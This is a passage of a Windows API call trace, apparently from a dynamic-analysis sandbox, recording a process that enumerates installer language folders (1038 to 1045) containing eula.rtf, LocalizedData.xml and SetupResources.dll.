lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0101.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.104] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290740 [0101.104] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.104] FindClose (in: hFindFile=0x4290740 | out: hFindFile=0x4290740) returned 1 [0101.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.105] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0101.105] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.105] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290340 [0101.106] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.106] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.106] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.106] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.106] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.107] FindClose (in: hFindFile=0x4290340 | out: hFindFile=0x4290340) returned 1 [0101.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.107] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0101.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290100 [0101.124] FindNextFileW (in: hFindFile=0x4290100, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.124] FindNextFileW (in: hFindFile=0x4290100, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.124] FindNextFileW (in: hFindFile=0x4290100, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.124] FindNextFileW (in: hFindFile=0x4290100, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.124] FindNextFileW (in: hFindFile=0x4290100, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.127] FindClose (in: hFindFile=0x4290100 | out: hFindFile=0x4290100) returned 1 [0101.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.127] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0101.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.127] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290700 [0101.128] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.128] FindClose (in: hFindFile=0x4290700 | out: hFindFile=0x4290700) returned 1 [0101.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0101.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.128] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.128] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.128] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.129] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0101.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.129] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.130] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.130] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.130] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.130] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0101.130] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.130] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, 